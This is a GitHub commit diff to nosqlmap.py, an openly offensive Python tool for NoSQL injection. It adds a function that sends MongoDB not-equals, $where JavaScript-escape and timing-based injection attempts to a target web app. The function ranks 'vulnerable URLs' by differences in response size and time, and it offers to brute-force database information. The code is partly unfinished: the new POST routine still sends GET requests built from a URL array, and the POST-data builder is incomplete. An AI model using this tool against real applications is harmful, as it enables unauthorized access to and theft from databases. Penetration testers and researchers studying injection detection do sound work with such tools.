Skip to content

Commit 34714ef

Browse files
committed
Finished POST baselines
1 parent f62e73a commit 34714ef

File tree

1 file changed

+353
-2
lines changed

1 file changed

+353
-2
lines changed

nosqlmap.py

Lines changed: 353 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
import time
2222
import httplib2
2323
import urllib
24+
import urllib2
2425
import pymongo
2526
import subprocess
2627
import json
@@ -80,7 +81,11 @@ def mainMenu():
8081
elif select == "3":
8182
#Check minimum required options
8283
if (optionSet[0] == True) and (optionSet[2] == True):
83-
webApps()
84+
if httpMethod == "GET":
85+
webApps()
86+
87+
else:
88+
postApps()
8489

8590
else:
8691
raw_input("Options not set! Check Host and URI path. Press enter to continue...")
@@ -102,6 +107,7 @@ def options():
102107
global webPort
103108
global uri
104109
global httpMethod
110+
global postData
105111
global myIP
106112
global myPort
107113
#Set default value if needed
@@ -483,7 +489,331 @@ def netAttacks(target):
483489
raw_input("Press enter to continue...")
484490
return()
485491

492+
493+
def postApps():
494+
print "Web App Attacks"
495+
print "==============="
496+
paramName = []
497+
paramValue = []
498+
vulnAddrs = []
499+
possAddrs = []
500+
timeVulnsStr = []
501+
timeVulnsInt = []
502+
appUp = False
503+
strTbAttack = False
504+
intTbAttack = False
505+
trueStr = False
506+
trueInt = False
507+
lt24 = False
508+
global postData
509+
510+
#Verify app is working.
511+
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
512+
513+
appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
514+
515+
try:
516+
body = urllib.urlencode(postData)
517+
req = urllib2.Request(appURL,body)
518+
appRespCode = urllib2.urlopen(req).getcode()
519+
520+
#normLength = int(len(urllib.urlopen(appURL).read()))
521+
if appRespCode == 200:
522+
523+
normLength = int(len(urllib2.urlopen(req).read()))
524+
timeReq = urllib2.urlopen(req)
525+
start = time.time()
526+
page = timeReq.read()
527+
end = time.time()
528+
timeReq.close()
529+
timeBase = round((end - start), 3)
530+
531+
532+
533+
print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
534+
appUp = True
535+
536+
else:
537+
print "Got " + appRespCode + "from the app, check your options."
538+
except:
539+
print sys.exc_info()
540+
print "Looks like the server didn't respond. Check your options."
486541

542+
if appUp == True:
543+
544+
injectSize = raw_input("Baseline test-Enter random string size: ")
545+
injectString = randInjString(int(injectSize))
546+
print "Using " + injectString + " for injection testing.\n"
547+
548+
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
549+
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
550+
randomUri = buildUri(appURL,injectString)
551+
print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
552+
randLength = int(len(urllib.urlopen(randomUri).read()))
553+
print "Got response length of " + str(randLength) + "."
554+
555+
randNormDelta = abs(normLength - randLength)
556+
557+
if randNormDelta == 0:
558+
print "No change in response size injecting a random parameter..\n"
559+
else:
560+
print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n"
561+
562+
print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
563+
injLen = int(len(urllib.urlopen(uriArray[1]).read()))
564+
print "Got response length of " + str(injLen) + "."
565+
566+
randInjDelta = abs(injLen - randLength)
567+
568+
if (randInjDelta >= 100) and (injLen != 0) :
569+
print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!"
570+
vulnAddrs.append(uriArray[1])
571+
572+
elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) :
573+
print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. "
574+
possAddrs.append(uriArray[1])
575+
576+
elif (randInjDelta == 0):
577+
print "Random string response size and not equals injection were the same. Injection did not work."
578+
else:
579+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
580+
possAddrs.append(uriArray[1])
581+
582+
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
583+
print "Injecting " + uriArray[2]
584+
585+
whereStrLen = int(len(urllib.urlopen(uriArray[2]).read()))
586+
whereStrDelta = abs(whereStrLen - randLength)
587+
588+
if (whereStrDelta >= 100) and (whereStrLen > 0):
589+
print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!"
590+
lt24 = True
591+
str24 = True
592+
vulnAddrs.append(uriArray[2])
593+
594+
elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
595+
print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
596+
possAddrs.append(uriArray[2])
597+
598+
elif (whereStrDelta == 0):
599+
print "Random string response size and $where injection were the same. Injection did not work."
600+
601+
else:
602+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
603+
possAddrs.append(uriArray[2])
604+
605+
print "\n"
606+
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
607+
print "Injecting " + uriArray[3]
608+
609+
whereIntLen = int(len(urllib.urlopen(uriArray[3]).read()))
610+
whereIntDelta = abs(whereIntLen - randLength)
611+
612+
if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
613+
print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
614+
lt24 = True
615+
int24 = True
616+
vulnAddrs.append(uriArray[3])
617+
618+
elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
619+
print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
620+
possAddrs.append(uriArray[3])
621+
622+
elif (whereIntDelta == 0):
623+
print "Random string response size and $where injection were the same. Injection did not work."
624+
625+
else:
626+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
627+
possAddrs.append(uriArray[3])
628+
629+
#Start a single record attack in case the app expects only one record back
630+
631+
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
632+
print " Injecting " + uriArray[4]
633+
634+
635+
whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read()))
636+
whereOneStrDelta = abs(whereOneStrLen - randLength)
637+
638+
if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
639+
print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!"
640+
lt24 = True
641+
str24 = True
642+
vulnAddrs.append(uriArray[4])
643+
644+
elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
645+
print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
646+
possAddrs.append(uriArray[4])
647+
648+
elif (whereOneStrDelta == 0):
649+
print "Random string response size and $where single injection were the same. Injection did not work."
650+
651+
else:
652+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
653+
possAddrs.append(uriArray[4])
654+
655+
print "\n"
656+
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
657+
print " Injecting " + uriArray[5]
658+
659+
660+
whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read()))
661+
whereOneIntDelta = abs(whereOneIntLen - randLength)
662+
663+
if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
664+
print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
665+
lt24 = True
666+
int24 = True
667+
vulnAddrs.append(uriArray[5])
668+
669+
elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
670+
print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
671+
possAddrs.append(uriArray[5])
672+
673+
elif (whereOneIntDelta == 0):
674+
print "Random string response size and $where single record injection were the same. Injection did not work."
675+
676+
else:
677+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
678+
possAddrs.append(uriArray[5])
679+
680+
print "\n"
681+
print "Testing Mongo this not equals string escape attack for all records..."
682+
print " Injecting " + uriArray[8]
683+
684+
whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read()))
685+
whereThisStrDelta = abs(whereThisStrLen - randLength)
686+
687+
if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0):
688+
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
689+
vulnAddrs.append(uriArray[8])
690+
691+
elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0):
692+
print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
693+
possAddrs.append(uriArray[8])
694+
695+
elif (whereThisStrDelta == 0):
696+
print "Random string response size and this return response size were the same. Injection did not work."
697+
698+
else:
699+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
700+
possAddrs.append(uriArray[8])
701+
702+
print "\n"
703+
print "Testing Mongo this not equals integer escape attack for all records..."
704+
print " Injecting " + uriArray[9]
705+
706+
whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read()))
707+
whereThisIntDelta = abs(whereThisIntLen - randLength)
708+
709+
if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0):
710+
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
711+
vulnAddrs.append(uriArray[9])
712+
713+
elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0):
714+
print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
715+
possAddrs.append(uriArray[9])
716+
717+
elif (whereThisIntDelta == 0):
718+
print "Random string response size and this return response size were the same. Injection did not work."
719+
720+
else:
721+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
722+
possAddrs.append(uriArray[9])
723+
724+
print "\n"
725+
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
726+
727+
if doTimeAttack == "y" or doTimeAttack == "Y":
728+
print "Starting Javascript string escape time based injection..."
729+
start = time.time()
730+
strTimeInj = urllib.urlopen(uriArray[6])
731+
page = strTimeInj.read()
732+
end = time.time()
733+
strTimeInj.close()
734+
#print str(end)
735+
#print str(start)
736+
strTimeDelta = (int(round((end - start), 3)) - timeBase)
737+
#print str(strTimeDelta)
738+
if strTimeDelta > 25:
739+
print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
740+
strTbAttack = True
741+
742+
else:
743+
print "HTTP load time variance was only " + str(strTimeDelta) + ". Injection probably didn't work."
744+
strTbAttack = False
745+
746+
print "Starting Javascript integer escape time based injection..."
747+
start = time.time()
748+
intTimeInj = urllib.urlopen(uriArray[7])
749+
page = intTimeInj.read()
750+
end = time.time()
751+
intTimeInj.close()
752+
#print str(end)
753+
#print str(start)
754+
intTimeDelta = (int(round((end - start), 3)) - timeBase)
755+
#print str(strTimeDelta)
756+
if intTimeDelta > 25:
757+
print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
758+
intTbAttack = True
759+
760+
else:
761+
print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work."
762+
intTbAttack = False
763+
764+
if lt24 == True:
765+
bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
766+
767+
if bfInfo == "y" or bfInfo == "Y":
768+
getDBInfo()
769+
770+
771+
print "\n"
772+
print "Vunerable URLs:"
773+
print "\n".join(vulnAddrs)
774+
print "\n"
775+
print "Possibly vulnerable URLs:"
776+
print"\n".join(possAddrs)
777+
print "\n"
778+
print "Timing based attacks:"
779+
780+
if strTbAttack == True:
781+
print "String attack-Successful"
782+
else:
783+
print "String attack-Unsuccessful"
784+
if intTbAttack == True:
785+
print "Integer attack-Successful"
786+
else:
787+
print "Integer attack-Unsuccessful"
788+
789+
fileOut = raw_input("Save results to file (y/n)? ")
790+
791+
if fileOut == "y" or fileOut == "Y":
792+
savePath = raw_input("Enter output file name: ")
793+
fo = open(savePath, "wb")
794+
fo.write ("Vulnerable URLs:\n")
795+
fo.write("\n".join(vulnAddrs))
796+
fo.write("\n\n")
797+
fo.write("Possibly Vulnerable URLs:\n")
798+
fo.write("\n".join(possAddrs))
799+
fo.write("\n")
800+
fo.write("Timing based attacks:\n")
801+
802+
if strTbAttack == True:
803+
fo.write("String Attack-Successful\n")
804+
else:
805+
fo.write("String Attack-Unsuccessful\n")
806+
fo.write("\n")
807+
808+
if intTbAttack == True:
809+
fo.write("Integer attack-Successful\n")
810+
else:
811+
fo.write("Integer attack-Unsuccessful\n")
812+
fo.write("\n")
813+
fo.close()
814+
815+
raw_input("Press enter to continue...")
816+
return()
487817

488818
def webApps():
489819
print "Web App Attacks"
@@ -969,7 +1299,28 @@ def buildUri(origUri, randValue):
9691299
return uriArray[0]
9701300

9711301
def buildPostData(body):
972-
print "Post data crap goes here."
1302+
global bodyArray
1303+
bodyArray = ["","","","","","","","","","","","","","","","","",""]
1304+
injOpt = ""
1305+
1306+
#Split the string between the path and parameters, and then split each parameter
1307+
1308+
1309+
menuItem = 1
1310+
print "List of parameters:"
1311+
for params in body.keys():
1312+
print str(menuItem) + "-" + params
1313+
menuItem += 1
1314+
1315+
try:
1316+
injIndex = raw_input("Which parameter should we inject? ")
1317+
injOpt = str(body.keys()[int(injIndex)-1])
1318+
print "Injecting the " + injOpt + " parameter..."
1319+
except:
1320+
raw_input("Something went wrong. Press enter to return to the main menu...")
1321+
mainMenu()
1322+
1323+
9731324

9741325
def stealDBs(myDB):
9751326
menuItem = 1

0 commit comments

Comments
 (0)